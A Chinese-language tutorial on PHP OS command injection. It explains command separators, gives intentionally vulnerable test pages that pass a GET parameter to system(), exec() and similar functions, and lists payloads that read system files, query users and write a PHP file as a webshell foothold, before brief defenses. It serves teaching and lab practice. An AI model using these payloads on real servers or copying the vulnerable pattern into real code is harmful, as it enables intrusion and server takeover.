漏洞原理
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简介、方便,但是也伴随着一些问题,比如说速度慢,或者无法解除系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时,就会用到一些系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击
也就是说命令执行即直接调用操作系统的命令。其原理是,在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
OS命令注入与PHP代码执行的区别
- OS命令注入是操作系统命令注入,属于是系统的命令
- PHP代码执行是向服务器提交的PHP代码,在服务器端执行
命令连接符
win与linux中常用的命令连接符如下
windows中
&,&&,|,||
- a&b a b命令依次执行,a执行失败b照样执行
- a&&b a b命令依次执行,a执行失败则b不执行
- a|b 只执行b命令
- a||b 只执行a命令,若a执行失败则执行b
Linux中
&,&&,|,||,;
- a&b a b命令依次执行,a执行失败b照样执行
- a&&b a b命令依次执行,a执行失败则b不执行
- a|b 只执行b命令
- a||b 只执行a命令,若a执行失败则执行b
- a;b a b命令依次执行,a执行失败b照样执行
linux中的管道符和windows中的管道符一样,只不过linux管道符多了个
造成OS命令注入前提条件:
- 程序中含有可以执行OS命令的函数或语言结构
- 传入该函数或语言结构的参数是客户端可控的(直接修改或造成影响)且没有进行足够的过滤。
漏洞危害
- 继承web服务器程序权限(web用户权限),去执行系统命令
- 继承web服务器权限,读写文件
- 反弹shell。通常我们对一个开启了80端口的服务器进行访问时,就会建立起与服务器web服务连接,从而获得到服务器相应的web服务,而反弹shell是我们开启一个端口进行监听,转而让服务器主动反弹一个shell来连接我们的主机,我们再通过接收到的shell进而来远程控制服务器。
- 控制整个网站
- 控制整个服务器
OS中常见的代码执行函数和语句
system()
作用:system()函数能够将字符串作为OS命令执行,自带输出功能,不需要打印(无需加echo)。
例子:
- 在网站根目录下新建Command文件夹,在该文件夹下新建文件system.php,代码内容如下:
<?php
$str="ipconfig";
system($str);
?>
代码意思就是用system()函数去执行ipconfig命令,ipconfig字符串传递给了$str变量,然后$str变量用system()函数去执行。
- 通过浏览器打开查看网页发现,页面显示就是ipconfig的信息
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
system($cmd);
}else{
echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在网站根目录下新建Command文件夹,在该文件夹下新建文件system.php,代码内容如上
- 在客户端我们访问该网页时带入如下参数以利用漏洞,网页将执行构造的语句返回系统信息(以下函数也是如此)。注入语句应与靶机系统相适应。
?cmd=ipconfig //将返回IP配置信息
?cmd=cd //查看当前目录
?cmd=systeminfo //返回系统信息
?cmd=whoami //
?cmd=net user //查看或新增用户等
?cmd=dir //将返回文件信息
?cmd=ping www.baidu.com //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts //查看系统文件
?cmd=echo"<?php phpinfo();?>">路径 //写入文件,可写入一句话木马等
exec()函数
作用:该函数能够将字符串作为OS命令执行,需要输出结果命令
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print exec($cmd);
}else{
echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在网站根目录下的Command文件夹下,新建文件exec.php,文件内容如上:
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。注意,该函数的返回结果是有限的。
shell_exec()
作用:该函数能够将字符串作为OS命令执行,需要输出结果命令。一般应用最广泛。
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print shell_exec($cmd);
}else{
echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在网站根目录下的Command文件夹下新建文件shell_exec.php,测试代码如上:
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
passthru()
作用:passthru()函数能够将字符串作为OS命令执行,自带输出功能
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
passthru($cmd);
}else{
echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在网站根目录下的Command文件夹下,新建文件passthru.php,文件内容如上
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
popen()
作用:popen()函数能执行OS命令,但是该函数返回的是文件指针而非命令执行结果。无论返回什么,最重要的是命令依旧会被执行
特点:与其他函数不同的是,需要传入第二个参数作为第一个参数执行结果的存储文件。
测试代码如下:
<?php
if (isset($_GET['cmd'])){
echo"<pre>";
popen($_GET['cmd'],'r');
}else{
echo"?cmd=whoami";
}
?>
- 在网站根目录下的Command文件夹下新建文件popen.php,文件内容如上
- 在客户端我们访问该网页时带入如下参数,网页将执行构造的语句并在同目录下生成文件(如已有该文件则追加内容)。
?cmd=ipconfig >>1.php //将返回IP配置信息
?cmd=systeminfo >>1.php //返回系统信息
?cmd=whoami >>1.php //
?cmd=net user >>1.php //查看或新增用户等
?cmd=dir >>1.php //将返回文件信息
?cmd=ping www.baidu.com >>1.php //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
- 访问刚刚写入的1.php文件,内容如下,说明上述命令执行成功。
反引号结构
作用:反引号内[ ]的字符串也会被解析成OS命令执行,需要输出结果命令。
tips:
- 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
- 与其它某些语言不同,反引号不能在双引号字符串中使用。
测试代码如下:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `($cmd)`;
}else{
echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
- 在网站根目录下的Command文件夹下新建文件`.php,文件内容如上
- 在客户端我们访问该网页时带入相关参数(与system()函数代入的参数一致)以利用漏洞。
OS命令注入漏洞的利用
OS 命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。
查看系统文件
打开浏览器访问system.php,其中提交参数?cmd=type c:\windows\system32\drivers\etc\hosts,查看系统hosts 文件。
显示当前路径
通过浏览器访问system.php,其中提交参数?cmd=cd
写文件
- 通过浏览器访问system.php,其中提交参数?cmd=echo "<?php phpinfo();?>" > D:\phpStudy\PHPTutorial\WWW\Command\shell.php
- 页面没有报错,访问shell.php 文件,验证文件是否写入成功
命令执行漏洞防御
- 尽量减少命令执行函数的使用,并在disable_functions 中禁用
- 在进入命令执行的函数或方法之前,对参数进行过滤
- 参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义